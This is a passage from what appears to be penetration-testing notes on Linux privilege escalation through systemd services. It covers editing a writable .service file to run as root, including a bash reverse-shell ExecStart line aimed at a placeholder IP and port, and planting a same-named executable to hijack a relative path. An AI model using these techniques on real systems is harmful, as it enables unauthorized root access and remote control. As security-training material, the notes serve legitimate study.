.service file are executed as root, but you need to be able to restart the service or reboot the PC
.service file writable
- You can modify the .service file to execute your file, or to initiate reverse shell, for example changing the following (can also remove WorkingDirectory line):
ExecStart=bash -c 'bash -i >& /dev/tcp/IP/PORT 0>&1'
User=root
- Restart the service or the PC (check
sudo -l
to see if you cansudo /sbin/reboot
)
Relative PATH:
- Check the system PATH using
systemctl show-environment
, need to make sure you have write access to any one of them. - Check the service configuration for any relative path, for example:
ExecStart=faraday-server
ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I'
- You can then create a same name executable in the PATH you can write. (previous example, faraday-server)
- Restart the service or the PC. (check
sudo -l
to see if you cansudo /sbin/reboot
)